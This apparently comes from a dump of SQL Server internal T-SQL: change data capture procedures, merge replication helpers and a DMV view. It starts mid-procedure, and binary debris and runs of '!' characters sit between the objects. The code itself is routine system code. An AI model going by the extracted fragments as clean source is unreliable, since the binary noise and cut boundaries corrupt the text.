	-- Create/Upgrade stored procedure to populate cdc.lsn_time_mapping table
	set @stmt =
	N'
	--
	-- Name: [cdc].[sp_ins_lsn_time_mapping]
	--
	-- Description:
	--	Stored procedure used internally to populate cdc.lsn_time_mapping table
	--
	-- Parameters: 
	--	@start_lsn				binary(10)			-- Commit lsn associated with change table entry
	--	@tran_begin_time		datetime			-- Transaction begin time of entry
	--	@tran_end_time			datetime			-- Transaction end time of entry
	--	@tran_id				varbinary(10)		-- Transaction  XDES ID
	--   @tran_begin_lsn			binary(10)		---- begin lsn of the associated transaction
	-- Returns:		 
	-- '
	set @stmt = @stmt + N'
	' + @action + N' procedure [cdc].[sp_ins_lsn_time_mapping]  				
	(														
		@start_lsn				binary(10),
		@tran_begin_time		datetime,
		@tran_end_time			datetime,
		@tran_id				varbinary(10),
		@tran_begin_lsn				binary(10)
	)														
	as
	begin
		set nocount on		

		insert into cdc.lsn_time_mapping
		values
		(
			@start_lsn
			,@tran_begin_time
			,@tran_end_time
			,@tran_id
			,@tran_begin_lsn
		)
	end												'
	
	exec (@stmt)	
	exec sp_MS_marksystemobject 'cdc.sp_ins_lsn_time_mapping'
	
	-- Create/Upgrade stored procedure to batch populate cdc.lsn_time_mapping table
	declare @ministmt nvarchar(1000)
	declare @maxrowcount int 
	set @maxrowcount = (2100 - 1)/5; --419
       declare @currow int
	
	set @stmt =
	N'
	--
	-- Name: [cdc].[sp_batchinsert_lsn_time_mapping]
	--
	-- Description:
	--	Stored procedure used internally to batch populate cdc.lsn_time_mapping table
	--
	-- Parameters: 
	--   @rowcount                     int -- the number of rows to be inserted in the batch, >= 1,and  <= 419
	--	@start_lsn_1                   binary(10)			-- Commit lsn associated with change table entry
	--	@tran_begin_time_1		datetime			-- Transaction begin time of entry
	--	@tran_end_time_1		datetime			-- Transaction end time of entry
	--	@tran_id_1			varbinary(10)		-- Transaction XDES ID
	--   @tran_begin_lsn_1			binary(10)		---- begin lsn of the associated transaction
	--    ...
	--	@start_lsn_419                   binary(10)			-- Commit lsn associated with change table entry
	--	@tran_begin_time_419 	    datetime			-- Transaction begin time of entry
	--	@tran_end_time_419	    datetime			-- Transaction end time of entry
	--	@tran_id_419			    varbinary(10)		-- Transaction XDES ID
	--   @tran_begin_lsn_419			binary(10)		---- begin lsn of the associated transaction
	-- Returns: nothing 
	-- '
	set @stmt = @stmt + 
	N'
	' + @action + N' procedure [cdc].[sp_batchinsert_lsn_time_mapping]  				
	(
	  @rowcount int,'							

	set @ministmt = 
	N'
	  @start_lsn_XXX binary(10), @tran_begin_time_XXX datetime, @tran_end_time_XXX datetime, @tran_id_XXX varbinary(10), @tran_begin_lsn_XXX binary(10)'

	set @currow = 1
	while @currow < @maxrowcount
	begin
		set @stmt = @stmt + REPLACE(@ministmt, N'XXX', convert(nvarchar(3), @currow)) + N','
		set @currow = @currow + 1 
	end
	set @stmt = @stmt + REPLACE(@ministmt, N'XXX', convert(nvarchar(3), @currow)) + 
	N'
	)														
	as
	begin
	  set nocount on	
	  insert into [cdc].lsn_time_mapping
	  select  top(@rowcount) start_lsn, tran_begin_time, tran_end_time, tran_id, tran_begin_lsn 
	  from (
	            select 1 rownum, @start_lsn_1 start_lsn, @tran_begin_time_1 tran_begin_time, @tran_end_time_1 tran_end_time, @tran_id_1 tran_id, @tran_begin_lsn_1 tran_begin_lsn'

	set @ministmt = 
	N'
	            union all
	            select XXX, @start_lsn_XXX, @tran_begin_time_XXX, @tran_end_time_XXX,  @tran_id_XXX, @tran_begin_lsn_XXX'

       set @currow = 2
       while @currow <= @maxrowcount
	begin
		set @stmt = @stmt + REPLACE(@ministmt, N'XXX', convert(nvarchar(3), @currow))
		set @currow = @currow + 1 
	end

	set @stmt = @stmt + 
	N'
	          ) rowcollection
	   where rownum <= @rowcount
	end'

	exec (@stmt)	
	exec dbo.sp_MS_marksystemobject 'cdc.sp_batchinsert_lsn_time_mapping'

	-- Create/Upgrade stored procedure of inserting a dummy entry into cdc.lsn_time_mapping table
	set @stmt =
	N'
	--
	-- Name: [cdc].[sp_ins_dummy_lsn_time_mapping]
	--
	-- Description: append a dummy entry. A dummy entry has 0x0 for the column tran_id
	--
	-- Parameters: 
	--	@lastflushed_lsn		binary(10)			
	--
	-- Returns:	0	success
	--			1   failure 
	-- '
	if object_id(N'[cdc].[sp_ins_dummy_lsn_time_mapping]', N'P') is NULL and @action = N'alter'
		set @action = N'create'
		
	set @stmt = @stmt + N'
	' + @action + N' procedure [cdc].[sp_ins_dummy_lsn_time_mapping ]
	(
		@lastflushed_lsn binary(10) = 0x0
	)
	as
	begin
		set nocount on
		declare 	@cur_time datetime = GETDATE(),
				@dummy_entry_interval int = 300 --default, in seconds

		if @lastflushed_lsn = 0x0
			return (0)

		--avoid inserting duplicate entries
		if exists(select * from [cdc].[lsn_time_mapping] where start_lsn = @lastflushed_lsn)
			return (0)

		--if the last entry was inserted within the interval, skip this dummy entry
		if exists(select * from [cdc].[lsn_time_mapping] where start_lsn = (select max(start_lsn) from [cdc].[lsn_time_mapping])
													and DATEDIFF(second, tran_end_time,  @cur_time) <= @dummy_entry_interval)
		begin
			return (0)
		end

		insert [cdc].[lsn_time_mapping] values(@lastflushed_lsn, @cur_time, @cur_time, 0x0, 0x0)

		if @@error != 0
			return (1)
		else
			return (0)
	end'
	
	exec (@stmt)
	exec dbo.sp_MS_marksystemobject 'cdc.sp_ins_dummy_lsn_time_mapping'

	-- Create/Upgrade stored procedure of inserting a capture instance enabling entry into cdc.lsn_time_mapping table
	set @stmt =
	N'
	--
	-- Name: [cdc].[sp_ins_instance_enabling_lsn_time_mapping]
	--
	-- Description:query change_tables for the specified capture instance and insert its start_lsn and create_date 
	--          into lsn_time_mapping
	--
	-- Parameters: 
	--	@changetable_objid		int			
	--
	-- Returns:	0	success
	--			1   failure 
	-- '
	if object_id(N'[cdc].[sp_ins_instance_enabling_lsn_time_mapping]', N'P') is NULL and @action = N'alter'
		set @action = N'create'
		
	set @stmt = @stmt + N'
	' + @action + N' procedure [cdc].[sp_ins_instance_enabling_lsn_time_mapping ]
	(
		@changetable_objid int
	)
	as
	begin
		set nocount on

		insert [cdc].[lsn_time_mapping] 
			select start_lsn, create_date, create_date, 0x0, 0x0
			from [cdc].[change_tables]
			where object_id = @changetable_objid

		if @@error != 0
			return (1)
		else
			return (0)
	end'
	
	exec (@stmt)
	exec dbo.sp_MS_marksystemobject 'cdc.sp_ins_instance_enabling_lsn_time_mapping'

end
0@ 8
create procedure sys.sp_MSquerysubtype (@pubid uniqueidentifier,@subscriber sysname, @subscriber_db sysname)
as
    -- Security check
    if (1 <> {fn ISPALUSER(@pubid)} and
        1 <> is_member('db_owner'))
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end
    declare @subtype    int
    declare @deleted     int

    set @deleted = 2
    
    select @subtype = NULL
    select @subtype = subscription_type from dbo.sysmergesubscriptions where pubid=@pubid 
        and db_name=@subscriber_db 
        and UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default 
        and status <> @deleted

    if @subtype is NULL
        select @subtype=2
    select @subtype
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N`7
<
	+
BS0? )8
create procedure sys.sp_table_types_rowset
(
    @table_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG   = s_tr.TABLE_CATALOG,
        TABLE_SCHEMA    = s_tr.TABLE_SCHEMA,
        TABLE_NAME      = s_tr.TABLE_NAME,
        TABLE_TYPE      = s_tr.TABLE_TYPE,
        TABLE_GUID      = s_tr.TABLE_GUID,
        DESCRIPTION     = s_tr.DESCRIPTION,
        TABLE_PROPID    = s_tr.TABLE_PROPID,
        DATE_CREATED    = s_tr.DATE_CREATED,
        DATE_MODIFIED   = s_tr.DATE_MODIFIED
    from
        sys.spt_table_types_view s_tr
    where
        (@table_name is null or s_tr.TABLE_NAME = @table_name) and
        (@table_schema is null or schema_id(@table_schema) = s_tr.schema_id)
    order by 4, 2, 3
0Y) D8Rh906^ K8
create view sys.spt_table_types_view
as
    select
    -- begin (for doing joins)
        object_id       = o.object_id,
        schema_id       = tt.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG   = db_name(),
        TABLE_SCHEMA    = schema_name(tt.schema_id),
        TABLE_NAME      = tt.name,
        TABLE_TYPE      = convert(nvarchar(30), N'TABLE TYPE'),
        TABLE_GUID      = convert(uniqueidentifier, null),
        DESCRIPTION     = convert(nvarchar(1), null),
        TABLE_PROPID    = convert(int,null),
        DATE_CREATED    = o.create_date,
        DATE_MODIFIED   = convert(datetime,null)
    from
        sys.all_objects o inner join
        sys.table_types tt on
            (
                o.object_id = tt.type_table_object_id
            )

0D@ 
8create procedure sys.sp_MSsetgentozero
        (@tablenick int, 
         @rowguid uniqueidentifier,
         @metatype tinyint= null)
as
    declare @retcode int
    declare @METADATA_TYPE_Tombstone tinyint
    declare @METADATA_TYPE_Contents tinyint
    declare @METADATA_TYPE_PartialDelete tinyint
    declare @METADATA_TYPE_SystemDelete tinyint

    set @METADATA_TYPE_Tombstone= 1
    set @METADATA_TYPE_Contents= 2
    set @METADATA_TYPE_PartialDelete= 5
    set @METADATA_TYPE_SystemDelete= 6
    
    if (@rowguid is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSsetgentozero')
        return (1)
    end
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSsetgentozero')
        return (1)
    end
    if (@metatype is not null and 
        @metatype not in (@METADATA_TYPE_Tombstone,
                          @METADATA_TYPE_Contents,
                          @METADATA_TYPE_PartialDelete,
                          @METADATA_TYPE_SystemDelete))
    begin
        --RAISERROR(20052, 16, -1)
        return 0
    end

    -- security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    if @metatype in (@METADATA_TYPE_Tombstone,
                     @METADATA_TYPE_PartialDelete,
                     @METADATA_TYPE_SystemDelete)
    begin
                update dbo.MSmerge_tombstone 
                        set generation = 0
                        where tablenick = @tablenick and rowguid = @rowguid
    end
    else if @metatype = @METADATA_TYPE_Contents
    begin
                update dbo.MSmerge_contents 
                        set generation = 0
                        where tablenick = @tablenick and rowguid = @rowguid

                update dbo.MSmerge_past_partition_mappings 
                        set generation = 0 
                        where tablenick = @tablenick and rowguid = @rowguid
    end
    else
    begin
                update dbo.MSmerge_tombstone 
                        set generation = 0
                        where tablenick = @tablenick and rowguid = @rowguid

                if 0 = @@rowcount
                begin
                        update dbo.MSmerge_contents 
                                set generation = 0
                                where tablenick = @tablenick and rowguid = @rowguid
                end
        
        update dbo.MSmerge_past_partition_mappings 
            set generation = 0 
            where tablenick = @tablenick and rowguid = @rowguid
    end

    return 0
0_ P8$khm>ngCa!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`07
<Q
,
Ew0@ M8create procedure [sys].[sp_cdc_create_objects]
as
begin
	declare @stmt nvarchar(max)
		,@retcode int
	
    set nocount on
    
    -- Create the change data capture metadata tables
    -- with their associated indexes
    set @stmt = 
		N'
		create schema [cdc] authorization [cdc]	 
		create table [change_tables]					
		(											
			object_id			int not null,				
			version				int null,				
			source_object_id	int null,				
			capture_instance	sysname not null,			
			start_lsn			binary(10) null,			
			end_lsn				binary(10) null,			
			supports_net_changes	bit null,			
			has_drop_pending	bit null,				
			role_name			sysname null,			
			index_name			sysname null,
			filegroup_name		sysname null,
			create_date			datetime null,
			partition_switch	bit default 0 not null,		
		    constraint [change_tables_clustered_idx]	
		    primary key								
			(										
				object_id	ASC						
			)						 
		)											
		create table [ddl_history]				
		(
			source_object_id	int null,											
			object_id			int not null,				
			required_column_update	bit null,		
			ddl_command			nvarchar(max) null,		
			ddl_lsn				binary(10) not null,			
			ddl_time			datetime null,			
		    constraint [ddl_history_clustered_idx]  
			primary key								
			(
				object_id	ASC,					
				ddl_lsn		ASC								
			)												 
		)											
		create table [lsn_time_mapping]			
		(											
			start_lsn			binary(10) not null,			
			tran_begin_time		datetime null,			
			tran_end_time		datetime null,			
			tran_id				varbinary(10) null,
			tran_begin_lsn		binary(10) null,
			constraint [lsn_time_mapping_clustered_idx]		
			primary key								
			(										
				start_lsn	ASC						
			)												 
		)											
		create table [captured_columns]			
		(											
			object_id			int not null,				
			column_name			sysname not null,
			column_id			int null,			
			column_type			sysname not null,			
			column_ordinal		int not null,
			is_computed			bit null,				
			constraint [captured_columns_clustered_idx]	 
			primary key								
			(										
				object_id		ASC,				
				column_ordinal	ASC					
			)												 
		)											
		create table [index_columns]				
		(											
			object_id			int not null,				
			column_name			sysname not null,				
			index_ordinal		tinyint not null,
			column_id			int null,			 
			constraint [index_columns_clustered_idx]	 
			primary key								
			(										
				object_id	ASC,					
				index_ordinal	ASC						
			)												 
		);										' 
	
	exec (@stmt)	

    -- Mark all of these tables as system objects in order for them to show up properly in sqlwb
    exec sp_MS_marksystemobject N'cdc.change_tables'

    exec sp_MS_marksystemobject N'cdc.ddl_history'

    exec sp_MS_marksystemobject N'cdc.lsn_time_mapping'

    exec sp_MS_marksystemobject N'cdc.captured_columns'

    exec sp_MS_marksystemobject N'cdc.index_columns'

    -- Create unique index on capture_instance for the change_tables table 
    create unique index [change_tables_unique_idx] on [cdc].[change_tables] (  capture_instance ASC )
   
    -- Create non-unique index on source_object_id for the change_tables table 
    create index [source_object_id_idx] on [cdc].[change_tables] (  source_object_id ASC )
    
    -- Create non-unique index on tran_end_time for the lsn_time_mapping table 
    create index [lsn_time_mapping_nonunique_idx] on [cdc].[lsn_time_mapping] (  tran_end_time ASC )
    
    -- Grant select on the lsn_time_mapping table to public
    grant select on [cdc].[lsn_time_mapping] to public
    
	-- Create dummy functions used to generate appropriate errors
	-- when fn_cdc_check_parameters encounters both access and
	-- range errors when called from the TVFs.
	set @stmt = N'
	create function cdc.[fn_cdc_get_all_changes_...](
		@from_lns binary(10),
		@to_lsn binary(10),
		@row_filter_options nvarchar(30)
	)
	returns table
	return	
		select 0 as ''col'' '

	exec (@stmt)
	
	exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_all_changes_...]'
	
	set @stmt = N'
	create function cdc.[fn_cdc_get_net_changes_...](
		@from_lns binary(10),
		@to_lsn binary(10),
		@row_filter_options nvarchar(30)
	)
	returns table
	return	
		select 0 as ''col'' '
	
	exec (@stmt)
	
	exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_net_changes_...]'

	-- The grant to this version of these dummy functions is to public.
	-- This is used to generate the error returned for range errors
	-- as opposed to access errors.
	set @stmt = N'
	create function cdc.[fn_cdc_get_all_changes_ ... ](
		@from_lns binary(10),
		@to_lsn binary(10),
		@row_filter_options nvarchar(30)
	)
	returns table
	return	
		select 0 as ''col'' '
	
	exec (@stmt)
																
	exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_all_changes_ ... ]'

	set @stmt = N'
	create function cdc.[fn_cdc_get_net_changes_ ... ](
		@from_lns binary(10),
		@to_lsn binary(10),
		@row_filter_options nvarchar(30)
	)
	returns table
	return	
		select 0 as ''col'' '
	
	exec (@stmt)
																
	exec sp_MS_marksystemobject N'cdc.[fn_cdc_get_net_changes_ ... ]'

	-- grant select to public 
	grant select on cdc.[fn_cdc_get_all_changes_ ... ] to public

	grant select on cdc.[fn_cdc_get_net_changes_ ... ] to public
    
    return 0
    
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`j<-
.7+A0"V 8CREATE VIEW sys.dm_tran_active_snapshot_database_transactions AS
	SELECT 
		transaction_id,
		transaction_sequence_num,
		commit_sequence_num,
		session_id,
		is_snapshot,
		first_snapshot_sequence_num,
		max_version_chain_traversed,
		average_version_chain_traversed,
		elapsed_time_seconds
	FROM OpenRowset(TABLE DM_TRAN_ACTIVE_SNAPSHOT_DATABASE_TRANSACTIONS)
0,ca D8yhR~5S0d V8CREATE PROCEDURE sys.sp_MSadd_subserver
(
	@subscriber sysname,
	@type		int
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode 			int,
			@dsn_subscriber 	tinyint,
			@jet_subscriber 	tinyint,
			@oledb_subscriber 	tinyint,
			@srvid				smallint

    -- Defined in sqlrepl.h
	select @dsn_subscriber = 1,
			@jet_subscriber = 2,
			@oledb_subscriber = 3,
			@srvid = NULL

	/*
	** The server may already be listed in master.dbo.sysservers, but might
	** not be marked as a subscriber yet.  If it's not in
	** master.dbo.sysservers, let's add it first.
	*/
	IF NOT EXISTS (SELECT *
	                     FROM master.dbo.sysservers
	                    WHERE LOWER(srvname collate database_default) = LOWER(@subscriber) collate database_default)
	BEGIN
		SELECT @subscriber = UPPER(@subscriber)
		EXECUTE @retcode = sys.sp_addserver @subscriber
		IF @@error <> 0 OR @retcode <> 0
		BEGIN
			-- Could not create Subscriber.
			RAISERROR (14042, 16, -1)
			RETURN 1
		END
	END
	SELECT @subscriber = sys.fn_getpersistedservernamecasevariation(@subscriber) collate database_default

	/*
	** Set the server option to indicate this is a subscriber.
	*/

	EXECUTE @retcode = sys.sp_serveroption @subscriber, 'sub', true

	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14042, 16, -1)
		RETURN 1
	END
	
	/*
	** Set the server option to indicate this is a DSN subscriber.
	*/
	IF @type = @dsn_subscriber OR @type = @jet_subscriber OR @type = @oledb_subscriber
	BEGIN
		exec @retcode = sys.sp_serveroption @server = @subscriber, 
											@optname = 'nonsqlsub',
											@optvalue =  'on'
		IF @@error <> 0 or @retcode <> 0
		BEGIN
			-- Unable to mark sysservers entry '%s' as a non SQL Server subscriber.
			RAISERROR (14011, 16, -1, @subscriber)
			RETURN 1
		END		
	END

END
0$a I
8create procedure sys.sp_cdc_drop_objects
as
begin
	declare @object_name sysname
		,@object_type char(2)
		,@stmt nvarchar(max)
		,@role sysname
		,@member sysname
	
	declare #hobjects cursor local fast_forward for
		select o.name, o.type 
		from  sys.objects o
		where schema_name(o.schema_id) = 'cdc'
		order by o.type
	
	declare #members cursor local fast_forward for	
		select p.name, r.name from sys.database_principals  p
			inner join sys.database_role_members m
				on p.principal_id = m.member_principal_id
			inner join sys.database_principals r
				on r.principal_id = m.role_principal_id
			inner join sys.database_principals c
				on r.owning_principal_id = c.principal_id 
		where r.type = 'R'
		and c.name = 'cdc'
		and c.type = 'S'
	
	declare #roles cursor local fast_forward for	
		select r.name from sys.database_principals r 
			inner join sys.database_principals c
				on r.owning_principal_id = c.principal_id 
		where r.type = 'R'
		and c.name = 'cdc'
		and c.type = 'S' 	
		set nocount on
	
    -- Drop the functions and stored procedures in the cdc schema
	open #hobjects
	fetch #hobjects into @object_name, @object_type
	
	while (@@fetch_status <> -1)
	begin
		if (@object_type = 'U')
		begin
			set @stmt = N'drop table [cdc].' + quotename(@object_name)
			exec (@stmt)
		end
		
		else if (@object_type = 'FN') or (@object_type = 'FS') or (@object_type = 'IF')
		begin
			set @stmt = N'drop function [cdc].' + quotename(@object_name)
			exec (@stmt)
		end
		
		else if (@object_type = 'P') 
		begin
			set @stmt = N'drop procedure [cdc].' + quotename(@object_name)
			exec (@stmt)
		end
		
		else if (@object_type = 'AF') 
		begin
			set @stmt = N'drop aggregate [cdc].' + quotename(@object_name)
			exec (@stmt)
		end

		fetch #hobjects into @object_name, @object_type
	end
	
	close #hobjects
	deallocate #hobjects
	
	-- Drop all members of roles owned by the cdc user
	open #members
	fetch #members into @member, @role
	
	while (@@fetch_status <> -1)
	begin
		exec sp_droprolemember @role , @member
		fetch #members into @member, @role
	end
	
	close #members
	deallocate #members
	
	-- Drop all roles owned by the cdc user
	open #roles
	fetch #roles into @role
	
	while (@@fetch_status <> -1)
	begin
		set @stmt = N'drop role ' + quotename(@role)
		exec (@stmt)
		fetch #roles into @role
	end
	
	close #roles
	deallocate #roles
	
	-- Drop the database schema and user if they exist 
	if schema_id ('cdc') is not null
	begin	
		drop schema cdc
	end
	
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:	`W<%
.
/04Z 8create procedure [sys].[sp_cdc_extract_column]
(
	@column sysname output,
	@list nvarchar(max) output
)	
as
begin
	declare	@quote_char nchar
		,@retcode int
		,@comma nchar
		,@double_quote nchar
		,@left_bracket nchar
		,@right_bracket nchar
		,@right_quote nchar
		,@left_index int
		,@right_index int
		,@comma_index int
		,@list_length int
		,@column_length int
		,@two_quotes nchar(2)
		
    set nocount on
    
    set @column = null
    set @comma = N','
    set @double_quote = N'"'
    set @left_bracket = N'['
    set @right_bracket = N']'
    set @right_quote = null
    set @list_length = len(@list)
    
    -- Determine the quote character for the list, if any.
	-- If the first non-whitespace character of the list is '[' or '"'
	-- use it as the quote character.  Otherwise, assume no quote character.
	set @quote_char = substring(sys.fn_cdc_trim_whitespace(@list), 1, 1)
	if ((@quote_char != N'[') and (@quote_char != N'"'))
	begin
		set @quote_char = null
	end
    
    if (@quote_char = @double_quote)
    begin
		set @right_quote = @double_quote
	end
	
	if (@quote_char = @left_bracket)
    begin
		set @right_quote = @right_bracket
	end
	
	set @two_quotes  = @right_quote + @right_quote
	
	if (@quote_char is null)
	begin
		-- Locate index of next appearance of comma
		set @comma_index = charindex(@comma, @list, 1)
		
		-- If there are no remaining commas in the list, set the
		-- comma index to the end of the string
		if (@comma_index is null) or (@comma_index = 0)
		begin
			set @column_length = @list_length 
		end
		else	
		begin
			set @column_length = @comma_index - 1 
		end

		-- Set @column to characters between the beginning of the list and the comma
		set @column = substring(@list, 1, @column_length)
		
		-- Remove leading and trailing whitespace from column name
		set @column = sys.fn_cdc_trim_whitespace(@column)
		
	end
	else
	begin	
		-- Locate index of next appearance of left quote
		set @left_index = charindex(@quote_char, @list, 1)
    
		-- Locate index of next appearance of right quote
		set @right_index = [sys].[fn_cdc_next_right_quote](@right_quote, @list, @left_index+1)
		if (@right_index = 0)
		begin
			raiserror(22965, 16, -1)
			return 1
		end	

		-- Locate index of next appearance of comma
		set @comma_index = charindex(@comma, @list, @right_index+1)
		
		-- Set @column to characters spanned by left and right quote characters
		-- not including the quote characters
   		set @column_length = (@right_index - @left_index) - 1
		set @column = substring(@list, @left_index+1, @column_length)
		
		-- Replace any embedded quote characters that were escaped with single quote characters
		set @column = replace(@column, @two_quotes, @right_quote)
    end
    
	if (@comma_index is null) or (@comma_index = 0)
	begin
		set @list = null
	end
	else
	begin
		set @list_length = @list_length - @comma_index
		set @list = substring(@list, @comma_index+1, @list_length)
	end	

    -- Verify column name extracted is a valid system identifier
    exec @retcode = [sys].[sp_validname] @column
    
    if (@retcode != 0)
    begin
		return 1
	end
		
	return 0
end
